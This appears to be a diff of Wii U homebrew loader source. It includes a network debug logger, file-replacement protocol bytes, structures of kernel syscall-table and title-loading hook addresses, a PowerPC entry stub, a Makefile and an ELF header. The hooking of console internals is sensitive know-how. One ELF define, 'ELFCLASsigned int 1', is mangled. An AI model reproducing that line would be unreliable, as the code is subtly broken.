connect_addr.sin_family = AF_INET;
connect_addr.sin_port = 4405;
inet_aton("192.168.0.44", &connect_addr.sin_addr);
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
{
socketclose(log_socket);
log_socket = -1;
}
}
void log_print(const char *str)
{
// socket is always 0 initially as it is in the BSS
if(log_socket <= 0) {
log_init();
return;
}
int len = strlen(str);
int ret;
while (len > 0) {
ret = send(log_socket, str, len, 0);
if(ret < 0)
return;
len -= ret;
str += ret;
}
}
void log_printf(const char *format, ...)
{
if(log_socket <= 0) {
log_init();
return;
}
char * tmp = NULL;
va_list va;
va_start(va, format);
if((vasprintf(&tmp, format, va) >= 0) && tmp)
{
log_print(tmp);
}
va_end(va);
if(tmp)
free(tmp);
}

View File

@ -0,0 +1,86 @@
#ifndef __LOGGER_H_
#define __LOGGER_H_
#ifdef __cplusplus
extern "C" {
#endif
/* Communication bytes with the server */
// Com
#define BYTE_NORMAL 0xff
#define BYTE_SPECIAL 0xfe
#define BYTE_OK 0xfd
#define BYTE_PING 0xfc
#define BYTE_LOG_STR 0xfb
#define BYTE_DISCONNECT 0xfa
// SD
#define BYTE_MOUNT_SD 0xe0
#define BYTE_MOUNT_SD_OK 0xe1
#define BYTE_MOUNT_SD_BAD 0xe2
// Replacement
#define BYTE_STAT 0x00
#define BYTE_STAT_ASYNC 0x01
#define BYTE_OPEN_FILE 0x02
#define BYTE_OPEN_FILE_ASYNC 0x03
#define BYTE_OPEN_DIR 0x04
#define BYTE_OPEN_DIR_ASYNC 0x05
#define BYTE_CHANGE_DIR 0x06
#define BYTE_CHANGE_DIR_ASYNC 0x07
#define BYTE_MAKE_DIR 0x08
#define BYTE_MAKE_DIR_ASYNC 0x09
#define BYTE_RENAME 0x0A
#define BYTE_RENAME_ASYNC 0x0B
#define BYTE_REMOVE 0x0C
#define BYTE_REMOVE_ASYNC 0x0D
// Log
#define BYTE_CLOSE_FILE 0x40
#define BYTE_CLOSE_FILE_ASYNC 0x41
#define BYTE_CLOSE_DIR 0x42
#define BYTE_CLOSE_DIR_ASYNC 0x43
#define BYTE_FLUSH_FILE 0x44
#define BYTE_GET_ERROR_CODE_FOR_VIEWER 0x45
#define BYTE_GET_LAST_ERROR 0x46
#define BYTE_GET_MOUNT_SOURCE 0x47
#define BYTE_GET_MOUNT_SOURCE_NEXT 0x48
#define BYTE_GET_POS_FILE 0x49
#define BYTE_SET_POS_FILE 0x4A
#define BYTE_GET_STAT_FILE 0x4B
#define BYTE_EOF 0x4C
#define BYTE_READ_FILE 0x4D
#define BYTE_READ_FILE_ASYNC 0x4E
#define BYTE_READ_FILE_WITH_POS 0x4F
#define BYTE_READ_DIR 0x50
#define BYTE_READ_DIR_ASYNC 0x51
#define BYTE_GET_CWD 0x52
#define BYTE_SET_STATE_CHG_NOTIF 0x53
#define BYTE_TRUNCATE_FILE 0x54
#define BYTE_WRITE_FILE 0x55
#define BYTE_WRITE_FILE_WITH_POS 0x56
#define BYTE_SAVE_INIT 0x57
#define BYTE_SAVE_SHUTDOWN 0x58
#define BYTE_SAVE_INIT_SAVE_DIR 0x59
#define BYTE_SAVE_FLUSH_QUOTA 0x5A
#define BYTE_SAVE_OPEN_DIR 0x5B
#define BYTE_SAVE_REMOVE 0x5C
#define BYTE_CREATE_THREAD 0x60
int logger_connect(int *socket);
void logger_disconnect(int socket);
void log_string(int sock, const char* str, char byte);
void log_byte(int sock, char byte);
void log_init(void);
void log_print(const char *str);
void log_printf(const char *format, ...);
#ifdef __cplusplus
}
#endif
#endif

View File

@ -0,0 +1,40 @@
#ifndef __OS_DEFS_H_
#define __OS_DEFS_H_
#ifdef __cplusplus
extern "C" {
#endif
typedef struct _OsSpecifics
{
unsigned int addr_OSDynLoad_Acquire;
unsigned int addr_OSDynLoad_FindExport;
unsigned int addr_OSTitle_main_entry;
unsigned int addr_KernSyscallTbl1;
unsigned int addr_KernSyscallTbl2;
unsigned int addr_KernSyscallTbl3;
unsigned int addr_KernSyscallTbl4;
unsigned int addr_KernSyscallTbl5;
int (*LiWaitIopComplete)(int, int *);
int (*LiWaitIopCompleteWithInterrupts)(int, int *);
unsigned int addr_LiWaitOneChunk;
unsigned int addr_PrepareTitle_hook;
unsigned int addr_sgIsLoadingBuffer;
unsigned int addr_gDynloadInitialized;
unsigned int orig_LiWaitOneChunkInstr;
} OsSpecifics;
typedef struct _s_mem_area
{
unsigned int address;
unsigned int size;
struct _s_mem_area* next;
} s_mem_area;
#ifdef __cplusplus
}
#endif
#endif // __OS_DEFS_H_

View File

@ -0,0 +1,178 @@
#---------------------------------------------------------------------------------
# Clear the implicit built in rules
#---------------------------------------------------------------------------------
.SUFFIXES:
#---------------------------------------------------------------------------------
ifeq ($(strip $(DEVKITPPC)),)
$(error "Please set DEVKITPPC in your environment. export DEVKITPPC=<path to>devkitPPC")
endif
export PATH := $(DEVKITPPC)/bin:$(PORTLIBS)/bin:$(PATH)
export LIBOGC_INC := $(DEVKITPRO)/libogc/include
export LIBOGC_LIB := $(DEVKITPRO)/libogc/lib/wii
export PORTLIBS := $(DEVKITPRO)/portlibs/ppc
PREFIX := powerpc-eabi-
export AS := $(PREFIX)as
export CC := $(PREFIX)gcc
export CXX := $(PREFIX)g++
export AR := $(PREFIX)ar
export OBJCOPY := $(PREFIX)objcopy
#---------------------------------------------------------------------------------
# TARGET is the name of the output
# BUILD is the directory where object files & intermediate files will be placed
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
TARGET := sd_loader
BUILD := build
BUILD_DBG := $(TARGET)_dbg
SOURCES := src
DATA :=
INCLUDES :=
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math -fno-builtin \
-Os -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
ASFLAGS := -mregnames
LDFLAGS := -nostartfiles -Wl,--gc-sections -Xlinker -Map=fuck.map
Q := @
MAKEFLAGS += --no-print-directory
#---------------------------------------------------------------------------------
# any extra libraries we wish to link with the project
#---------------------------------------------------------------------------------
LIBS :=
#---------------------------------------------------------------------------------
# list of directories containing libraries, this must be the top level containing
# include and lib
#---------------------------------------------------------------------------------
LIBDIRS := $(CURDIR) \
$(DEVKITPPC)/lib \
$(DEVKITPPC)/lib/gcc/powerpc-eabi/4.8.2
#---------------------------------------------------------------------------------
# no real need to edit anything past this point unless you need to add additional
# rules for different file extensions
#---------------------------------------------------------------------------------
ifneq ($(BUILD),$(notdir $(CURDIR)))
#---------------------------------------------------------------------------------
export PROJECTDIR := $(CURDIR)
export OUTPUT := $(CURDIR)/$(TARGETDIR)/$(TARGET)
export VPATH := $(foreach dir,$(SOURCES),$(CURDIR)/$(dir)) \
$(foreach dir,$(DATA),$(CURDIR)/$(dir))
export DEPSDIR := $(CURDIR)/$(BUILD)
#---------------------------------------------------------------------------------
# automatically build a list of object files for our project
#---------------------------------------------------------------------------------
CFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.c)))
CPPFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.cpp)))
sFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.s)))
SFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.S)))
BINFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.*)))
TTFFILES := $(foreach dir,$(DATA),$(notdir $(wildcard $(dir)/*.ttf)))
PNGFILES := $(foreach dir,$(SOURCES),$(notdir $(wildcard $(dir)/*.png)))
#---------------------------------------------------------------------------------
# use CXX for linking C++ projects, CC for standard C
#---------------------------------------------------------------------------------
ifeq ($(strip $(CPPFILES)),)
export LD := $(CC)
else
export LD := $(CXX)
endif
export OFILES := $(CPPFILES:.cpp=.o) $(CFILES:.c=.o) \
$(sFILES:.s=.o) $(SFILES:.S=.o) \
$(PNGFILES:.png=.png.o) $(addsuffix .o,$(BINFILES))
#---------------------------------------------------------------------------------
# build a list of include paths
#---------------------------------------------------------------------------------
export INCLUDE := $(foreach dir,$(INCLUDES),-I$(CURDIR)/$(dir)) \
$(foreach dir,$(LIBDIRS),-I$(dir)/include) \
-I$(CURDIR)/$(BUILD) -I$(LIBOGC_INC) \
-I$(PORTLIBS)/include -I$(PORTLIBS)/include/freetype2
#---------------------------------------------------------------------------------
# build a list of library paths
#---------------------------------------------------------------------------------
export LIBPATHS := $(foreach dir,$(LIBDIRS),-L$(dir)/lib) \
-L$(LIBOGC_LIB) -L$(PORTLIBS)/lib
export OUTPUT := $(CURDIR)/$(TARGET)
.PHONY: $(BUILD) clean install
#---------------------------------------------------------------------------------
$(BUILD):
@[ -d $@ ] || mkdir -p $@
@$(MAKE) --no-print-directory -C $(BUILD) -f $(CURDIR)/Makefile
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf
#---------------------------------------------------------------------------------
else
DEPENDS := $(OFILES:.o=.d)
#---------------------------------------------------------------------------------
# main targets
#---------------------------------------------------------------------------------
$(OUTPUT).elf: $(OFILES)
#---------------------------------------------------------------------------------
# This rule links in binary data with the .jpg extension
#---------------------------------------------------------------------------------
%.elf: link.ld $(OFILES)
@echo "linking ... $(TARGET).elf"
$(Q)$(LD) -n -T $^ $(LDFLAGS) -o ../$(BUILD_DBG).elf $(LIBPATHS) $(LIBS)
$(Q)$(OBJCOPY) -S -R .comment -R .gnu.attributes ../$(BUILD_DBG).elf $@
#---------------------------------------------------------------------------------
%.a:
#---------------------------------------------------------------------------------
@echo $(notdir $@)
@rm -f $@
@$(AR) -rc $@ $^
#---------------------------------------------------------------------------------
%.o: %.cpp
@echo $(notdir $<)
@$(CXX) -MMD -MP -MF $(DEPSDIR)/$*.d $(CXXFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.c
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d $(CFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.o: %.S
@echo $(notdir $<)
@$(CC) -MMD -MP -MF $(DEPSDIR)/$*.d -x assembler-with-cpp $(ASFLAGS) -c $< -o $@ $(ERROR_FILTER)
#---------------------------------------------------------------------------------
%.png.o : %.png
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
#---------------------------------------------------------------------------------
%.ttf.o : %.ttf
@echo $(notdir $<)
@bin2s -a 32 $< | $(AS) -o $(@)
-include $(DEPENDS)
#---------------------------------------------------------------------------------
endif
#---------------------------------------------------------------------------------

View File

@ -0,0 +1,11 @@
#ifndef _STDINT_WRAP_H
#define _STDINT_WRAP_H
#include <../../powerpc-eabi/include/stdint.h>
#define int32_t my_int32_t
#define uint32_t my_uint32_t
typedef signed int int32_t;
typedef unsigned int uint32_t;
#endif

View File

@ -0,0 +1,20 @@
.extern _main
.globl _start
_start:
mflr 0
stwu 1,-0x18(1)
stw 0,0x1C(1)
stw 3,8(1)
stw 4,0xC(1)
# jump to our main
bl _main
# launch original title
mtctr 3
lwz 3,8(1)
lwz 4,0xC(1)
lwz 0,0x1C(1)
mtlr 0
addi 1,1,0x18
bctr

View File

@ -0,0 +1,591 @@
/*
* Copyright (c) 1995, 1996, 2001, 2002
* Erik Theisen. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
/*
* This is the ELF ABI header file
* formerly known as "elf_abi.h".
*/
#ifndef _ELF_ABI_H
#define _ELF_ABI_H
/*
* This version doesn't work for 64-bit ABIs - Erik.
*/
/*
* These typedefs need to be handled better.
*/
typedef unsigned int Elf32_Addr; /* Unsigned program address */
typedef unsigned int Elf32_Off; /* Unsigned file offset */
typedef signed int Elf32_Sword; /* Signed large integer */
typedef unsigned int Elf32_Word; /* Unsigned large integer */
typedef unsigned short Elf32_Half; /* Unsigned medium integer */
/* e_ident[] identification indexes */
#define EI_MAG0 0 /* file ID */
#define EI_MAG1 1 /* file ID */
#define EI_MAG2 2 /* file ID */
#define EI_MAG3 3 /* file ID */
#define EI_CLASS 4 /* file class */
#define EI_DATA 5 /* data encoding */
#define EI_VERSION 6 /* ELF header version */
#define EI_OSABI 7 /* OS/ABI specific ELF extensions */
#define EI_ABIVERSION 8 /* ABI target version */
#define EI_PAD 9 /* start of pad bytes */
#define EI_NIDENT 16 /* Size of e_ident[] */
/* e_ident[] magic number */
#define ELFMAG0 0x7f /* e_ident[EI_MAG0] */
#define ELFMAG1 'E' /* e_ident[EI_MAG1] */
#define ELFMAG2 'L' /* e_ident[EI_MAG2] */
#define ELFMAG3 'F' /* e_ident[EI_MAG3] */
#define ELFMAG "\177ELF" /* magic */
#define SELFMAG 4 /* size of magic */
/* e_ident[] file class */
#define ELFCLASSNONE 0 /* invalid */
#define ELFCLASsigned int 1 /* 32-bit objs */
#define ELFCLASS64 2 /* 64-bit objs */
#define ELFCLASSNUM 3 /* number of classes */
/* e_ident[] data encoding */
#define ELFDATANONE 0 /* invalid */
#define ELFDATA2LSB 1 /* Little-Endian */
#define ELFDATA2MSB 2 /* Big-Endian */
#define ELFDATANUM 3 /* number of data encode defines */
/* e_ident[] OS/ABI specific ELF extensions */
#define ELFOSABI_NONE 0 /* No extension specified */
#define ELFOSABI_HPUX 1 /* Hewlett-Packard HP-UX */
#define ELFOSABI_NETBSD 2 /* NetBSD */
#define ELFOSABI_LINUX 3 /* Linux */
#define ELFOSABI_SOLARIS 6 /* Sun Solaris */
#define ELFOSABI_AIX 7 /* AIX */
#define ELFOSABI_IRIX 8 /* IRIX */
#define ELFOSABI_FREEBSD 9 /* FreeBSD */
#define ELFOSABI_TRU64 10 /* Compaq TRU64 UNIX */
#define ELFOSABI_MODESTO 11 /* Novell Modesto */
#define ELFOSABI_OPENBSD 12 /* OpenBSD */
/* 64-255 Architecture-specific value range */
/* e_ident[] ABI Version */
#define ELFABIVERSION 0
/* e_ident */
#define IS_ELF(ehdr) ((ehdr).e_ident[EI_MAG0] == ELFMAG0 && \
(ehdr).e_ident[EI_MAG1] == ELFMAG1 && \
(ehdr).e_ident[EI_MAG2] == ELFMAG2 && \
(ehdr).e_ident[EI_MAG3] == ELFMAG3)
/* ELF Header */
typedef struct elfhdr{
unsigned char e_ident[EI_NIDENT]; /* ELF Identification */
Elf32_Half e_type; /* object file type */
Elf32_Half e_machine; /* machine */
Elf32_Word e_version; /* object file version */
Elf32_Addr e_entry; /* virtual entry point */
Elf32_Off e_phoff; /* program header table offset */
Elf32_Off e_shoff; /* section header table offset */
Elf32_Word e_flags; /* processor-specific flags */
Elf32_Half e_ehsize; /* ELF header size */
Elf32_Half e_phentsize; /* program header entry size */
Elf32_Half e_phnum; /* number of program header entries */
Elf32_Half e_shentsize; /* section header entry size */
Elf32_Half e_shnum; /* number of section header entries */
Elf32_Half e_shstrndx; /* section header table's "section
header string table" entry offset */
} Elf32_Ehdr;
/* e_type */
#define ET_NONE 0 /* No file type */
#define ET_REL 1 /* relocatable file */
#define ET_EXEC 2 /* executable file */
#define ET_DYN 3 /* shared object file */
#define ET_CORE 4 /* core file */
#define ET_NUM 5 /* number of types */
#define ET_LOOS 0xfe00 /* reserved range for operating */
#define ET_HIOS 0xfeff /* system specific e_type */
#define ET_LOPROC 0xff00 /* reserved range for processor */
#define ET_HIPROC 0xffff /* specific e_type */
/* e_machine */
#define EM_NONE 0 /* No Machine */
#define EM_M32 1 /* AT&T WE 32100 */
#define EM_SPARC 2 /* SPARC */
#define EM_386 3 /* Intel 80386 */
#define EM_68K 4 /* Motorola 68000 */
#define EM_88K 5 /* Motorola 88000 */
#if 0
#define EM_486 6 /* RESERVED - was Intel 80486 */
#endif
#define EM_860 7 /* Intel 80860 */
#define EM_MIPS 8 /* MIPS R3000 Big-Endian only */
#define EM_S370 9 /* IBM System/370 Processor */
#define EM_MIPS_RS4_BE 10 /* MIPS R4000 Big-Endian */
#if 0
#define EM_SPARC64 11 /* RESERVED - was SPARC v9
64-bit unoffical */
#endif
/* RESERVED 11-14 for future use */
#define EM_PARISC 15 /* HPPA */
/* RESERVED 16 for future use */
#define EM_VPP500 17 /* Fujitsu VPP500 */
#define EM_SPARC32PLUS 18 /* Enhanced instruction set SPARC */
#define EM_960 19 /* Intel 80960 */
#define EM_PPC 20 /* PowerPC */
#define EM_PPC64 21 /* 64-bit PowerPC */
#define EM_S390 22 /* IBM System/390 Processor */
/* RESERVED 23-35 for future use */
#define EM_V800 36 /* NEC V800 */
#define EM_FR20 37 /* Fujitsu FR20 */
#define EM_RH32 38 /* TRW RH-32 */
#define EM_RCE 39 /* Motorola RCE */
#define EM_ARM 40 /* Advanced Risc Machines ARM */
#define EM_ALPHA 41 /* Digital Alpha */
#define EM_SH 42 /* Hitachi SH */
#define EM_SPARCV9 43 /* SPARC Version 9 */
#define EM_TRICORE 44 /* Siemens TriCore embedded processor */
#define EM_ARC 45 /* Argonaut RISC Core */
#define EM_H8_300 46 /* Hitachi H8/300 */
#define EM_H8_300H 47 /* Hitachi H8/300H */
#define EM_H8S 48 /* Hitachi H8S */
#define EM_H8_500 49 /* Hitachi H8/500 */
#define EM_IA_64 50 /* Intel Merced */
#define EM_MIPS_X 51 /* Stanford MIPS-X */
#define EM_COLDFIRE 52 /* Motorola Coldfire */
#define EM_68HC12 53 /* Motorola M68HC12 */
#define EM_MMA 54 /* Fujitsu MMA Multimedia Accelerator*/
#define EM_PCP 55 /* Siemens PCP */
#define EM_NCPU 56 /* Sony nCPU embeeded RISC */
#define EM_NDR1 57 /* Denso NDR1 microprocessor */
#define EM_STARCORE 58 /* Motorola Start*Core processor */
#define EM_ME16 59 /* Toyota ME16 processor */
#define EM_ST100 60 /* STMicroelectronic ST100 processor */
#define EM_TINYJ 61 /* Advanced Logic Corp. Tinyj emb.fam*/
#define EM_X86_64 62 /* AMD x86-64 */
#define EM_PDSP 63 /* Sony DSP Processor */
/* RESERVED 64,65 for future use */
#define EM_FX66 66 /* Siemens FX66 microcontroller */
#define EM_ST9PLUS 67 /* STMicroelectronics ST9+ 8/16 mc */
#define EM_ST7 68 /* STmicroelectronics ST7 8 bit mc */
#define EM_68HC16 69 /* Motorola MC68HC16 microcontroller */
#define EM_68HC11 70 /* Motorola MC68HC11 microcontroller */
#define EM_68HC08 71 /* Motorola MC68HC08 microcontroller */
#define EM_68HC05 72 /* Motorola MC68HC05 microcontroller */
#define EM_SVX 73 /* Silicon Graphics SVx */
#define EM_ST19 74 /* STMicroelectronics ST19 8 bit mc */
#define EM_VAX 75 /* Digital VAX */
#define EM_CHRIS 76 /* Axis Communications embedded proc. */
#define EM_JAVELIN 77 /* Infineon Technologies emb. proc. */
#define EM_FIREPATH 78 /* Element 14 64-bit DSP Processor */
#define EM_ZSP 79 /* LSI Logic 16-bit DSP Processor */
#define EM_MMIX 80 /* Donald Knuth's edu 64-bit proc. */
#define EM_HUANY 81 /* Harvard University mach-indep objs */
#define EM_PRISM 82 /* SiTera Prism */
#define EM_AVR 83 /* Atmel AVR 8-bit microcontroller */
#define EM_FR30 84 /* Fujitsu FR30 */
#define EM_D10V 85 /* Mitsubishi DV10V */
#define EM_D30V 86 /* Mitsubishi DV30V */
#define EM_V850 87 /* NEC v850 */
#define EM_M32R 88 /* Mitsubishi M32R */
#define EM_MN10300 89 /* Matsushita MN10200 */
#define EM_MN10200 90 /* Matsushita MN10200 */
#define EM_PJ 91 /* picoJava */
#define EM_NUM 92 /* number of machine types */
/* Version */
#define EV_NONE 0 /* Invalid */
#define EV_CURRENT 1 /* Current */
#define EV_NUM 2 /* number of versions */
/* Section Header */
typedef struct {
Elf32_Word sh_name; /* name - index into section header
string table section */
Elf32_Word sh_type; /* type */
Elf32_Word sh_flags; /* flags */
Elf32_Addr sh_addr; /* address */
Elf32_Off sh_offset; /* file offset */
Elf32_Word sh_size; /* section size */
Elf32_Word sh_link; /* section header table index link */
Elf32_Word sh_info; /* extra information */
Elf32_Word sh_addralign; /* address alignment */
Elf32_Word sh_entsize; /* section entry size */
} Elf32_Shdr;
/* Special Section Indexes */
#define SHN_UNDEF 0 /* undefined */
#define SHN_LORESERVE 0xff00 /* lower bounds of reserved indexes */
#define SHN_LOPROC 0xff00 /* reserved range for processor */
#define SHN_HIPROC 0xff1f /* specific section indexes */
#define SHN_LOOS 0xff20 /* reserved range for operating */
#define SHN_HIOS 0xff3f /* specific semantics */
#define SHN_ABS 0xfff1 /* absolute value */
#define SHN_COMMON 0xfff2 /* common symbol */
#define SHN_XINDEX 0xffff /* Index is an extra table */
#define SHN_HIRESERVE 0xffff /* upper bounds of reserved indexes */
/* sh_type */
#define SHT_NULL 0 /* inactive */
#define SHT_PROGBITS 1 /* program defined information */
#define SHT_SYMTAB 2 /* symbol table section */
#define SHT_STRTAB 3 /* string table section */
#define SHT_RELA 4 /* relocation section with addends*/
#define SHT_HASH 5 /* symbol hash table section */
#define SHT_DYNAMIC 6 /* dynamic section */
#define SHT_NOTE 7 /* note section */
#define SHT_NOBITS 8 /* no space section */
#define SHT_REL 9 /* relation section without addends */
#define SHT_SHLIB 10 /* reserved - purpose unknown */
#define SHT_DYNSYM 11 /* dynamic symbol table section */
#define SHT_INIT_ARRAY 14 /* Array of constructors */
#define SHT_FINI_ARRAY 15 /* Array of destructors */
#define SHT_PREINIT_ARRAY 16 /* Array of pre-constructors */
#define SHT_GROUP 17 /* Section group */
#define SHT_SYMTAB_SHNDX 18 /* Extended section indeces */
#define SHT_NUM 19 /* number of section types */
#define SHT_LOOS 0x60000000 /* Start OS-specific */
#define SHT_HIOS 0x6fffffff /* End OS-specific */
#define SHT_LOPROC 0x70000000 /* reserved range for processor */
#define SHT_HIPROC 0x7fffffff /* specific section header types */
#define SHT_LOUSER 0x80000000 /* reserved range for application */
#define SHT_HIUSER 0xffffffff /* specific indexes */
/* Section names */
#define ELF_BSS ".bss" /* uninitialized data */
#define ELF_COMMENT ".comment" /* version control information */
#define ELF_DATA ".data" /* initialized data */
#define ELF_DATA1 ".data1" /* initialized data */
#define ELF_DEBUG ".debug" /* debug */
#define ELF_DYNAMIC ".dynamic" /* dynamic linking information */
#define ELF_DYNSTR ".dynstr" /* dynamic string table */
#define ELF_DYNSYM ".dynsym" /* dynamic symbol table */
#define ELF_FINI ".fini" /* termination code */
#define ELF_FINI_ARRAY ".fini_array" /* Array of destructors */
#define ELF_GOT ".got" /* global offset table */
#define ELF_HASH ".hash" /* symbol hash table */
#define ELF_INIT ".init" /* initialization code */
#define ELF_INIT_ARRAY ".init_array" /* Array of constuctors */
#define ELF_INTERP ".interp" /* Pathname of program interpreter */
#define ELF_LINE ".line" /* Symbolic line numnber information */
#define ELF_NOTE ".note" /* Contains note section */
#define ELF_PLT ".plt" /* Procedure linkage table */
#define ELF_PREINIT_ARRAY ".preinit_array" /* Array of pre-constructors */
#define ELF_REL_DATA ".rel.data" /* relocation data */
#define ELF_REL_FINI ".rel.fini" /* relocation termination code */
#define ELF_REL_INIT ".rel.init" /* relocation initialization code */
#define ELF_REL_DYN ".rel.dyn" /* relocaltion dynamic link info */
#define ELF_REL_RODATA ".rel.rodata" /* relocation read-only data */
#define ELF_REL_TEXT ".rel.text" /* relocation code */
#define ELF_RODATA ".rodata" /* read-only data */
#define ELF_RODATA1 ".rodata1" /* read-only data */
#define ELF_SHSTRTAB ".shstrtab" /* section header string table */
#define ELF_STRTAB ".strtab" /* string table */
#define ELF_SYMTAB ".symtab" /* symbol table */
#define ELF_SYMTAB_SHNDX ".symtab_shndx"/* symbol table section index */
#define ELF_TBSS ".tbss" /* thread local uninit data */
#define ELF_TDATA ".tdata" /* thread local init data */
#define ELF_TDATA1 ".tdata1" /* thread local init data */
#define ELF_TEXT ".text" /* code */
/* Section Attribute Flags - sh_flags */
#define SHF_WRITE 0x1 /* Writable */
#define SHF_ALLOC 0x2 /* occupies memory */
#define SHF_EXECINSTR 0x4 /* executable */
#define SHF_MERGE 0x10 /* Might be merged */
#define SHF_STRINGS 0x20 /* Contains NULL terminated strings */
#define SHF_INFO_LINK 0x40 /* sh_info contains SHT index */
#define SHF_LINK_ORDER 0x80 /* Preserve order after combining*/
#define SHF_OS_NONCONFORMING 0x100 /* Non-standard OS specific handling */
#define SHF_GROUP 0x200 /* Member of section group */
#define SHF_TLS 0x400 /* Thread local storage */
#define SHF_MASKOS 0x0ff00000 /* OS specific */
#define SHF_MASKPROC 0xf0000000 /* reserved bits for processor */
/* specific section attributes */
/* Section Group Flags */
#define GRP_COMDAT 0x1 /* COMDAT group */
#define GRP_MASKOS 0x0ff00000 /* Mask OS specific flags */
#define GRP_MASKPROC 0xf0000000 /* Mask processor specific flags */
/* Symbol Table Entry */
typedef struct elf32_sym {
Elf32_Word st_name; /* name - index into string table */
Elf32_Addr st_value; /* symbol value */
Elf32_Word st_size; /* symbol size */
unsigned char st_info; /* type and binding */
unsigned char st_other; /* 0 - no defined meaning */
Elf32_Half st_shndx; /* section header index */
} Elf32_Sym;
/* Symbol table index */
#define STN_UNDEF 0 /* undefined */
/* Extract symbol info - st_info */
#define ELF32_ST_BIND(x) ((x) >> 4)
#define ELF32_ST_TYPE(x) (((unsigned int) x) & 0xf)
#define ELF32_ST_INFO(b,t) (((b) << 4) + ((t) & 0xf))
#define ELF32_ST_VISIBILITY(x) ((x) & 0x3)
/* Symbol Binding - ELF32_ST_BIND - st_info */
#define STB_LOCAL 0 /* Local symbol */
#define STB_GLOBAL 1 /* Global symbol */
#define STB_WEAK 2 /* like global - lower precedence */
#define STB_NUM 3 /* number of symbol bindings */
#define STB_LOOS 10 /* reserved range for operating */
#define STB_HIOS 12 /* system specific symbol bindings */
#define STB_LOPROC 13 /* reserved range for processor */
#define STB_HIPROC 15 /* specific symbol bindings */
/* Symbol type - ELF32_ST_TYPE - st_info */
#define STT_NOTYPE 0 /* not specified */
#define STT_OBJECT 1 /* data object */
#define STT_FUNC 2 /* function */
#define STT_SECTION 3 /* section */
#define STT_FILE 4 /* file */
#define STT_NUM 5 /* number of symbol types */
#define STT_TLS 6 /* Thread local storage symbol */
#define STT_LOOS 10 /* reserved range for operating */
#define STT_HIOS 12 /* system specific symbol types */
#define STT_LOPROC 13 /* reserved range for processor */
#define STT_HIPROC 15 /* specific symbol types */
/* Symbol visibility - ELF32_ST_VISIBILITY - st_other */
#define STV_DEFAULT 0 /* Normal visibility rules */
#define STV_INTERNAL 1 /* Processor specific hidden class */
#define STV_HIDDEN 2 /* Symbol unavailable in other mods */
#define STV_PROTECTED 3 /* Not preemptible, not exported */
/* Relocation entry with implicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
} Elf32_Rel;
/* Relocation entry with explicit addend */
typedef struct
{
Elf32_Addr r_offset; /* offset of relocation */
Elf32_Word r_info; /* symbol table index and type */
Elf32_Sword r_addend;
} Elf32_Rela;
/* Extract relocation info - r_info */
#define ELF32_R_SYM(i) ((i) >> 8)
#define ELF32_R_TYPE(i) ((unsigned char) (i))
#define ELF32_R_INFO(s,t) (((s) << 8) + (unsigned char)(t))
/* Program Header */
typedef struct {
Elf32_Word p_type; /* segment type */
Elf32_Off p_offset; /* segment offset */
Elf32_Addr p_vaddr; /* virtual address of segment */
Elf32_Addr p_paddr; /* physical address - ignored? */
Elf32_Word p_filesz; /* number of bytes in file for seg. */
Elf32_Word p_memsz; /* number of bytes in mem. for seg. */
Elf32_Word p_flags; /* flags */
Elf32_Word p_align; /* memory alignment */
} Elf32_Phdr;
/* Segment types - p_type */
#define PT_NULL 0 /* unused */
#define PT_LOAD 1 /* loadable segment */
#define PT_DYNAMIC 2 /* dynamic linking section */
#define PT_INTERP 3 /* the RTLD */
#define PT_NOTE 4 /* auxiliary information */
#define PT_SHLIB 5 /* reserved - purpose undefined */
#define PT_PHDR 6 /* program header */
#define PT_TLS 7 /* Thread local storage template */
#define PT_NUM 8 /* Number of segment types */
#define PT_LOOS 0x60000000 /* reserved range for operating */
#define PT_HIOS 0x6fffffff /* system specific segment types */
#define PT_LOPROC 0x70000000 /* reserved range for processor */
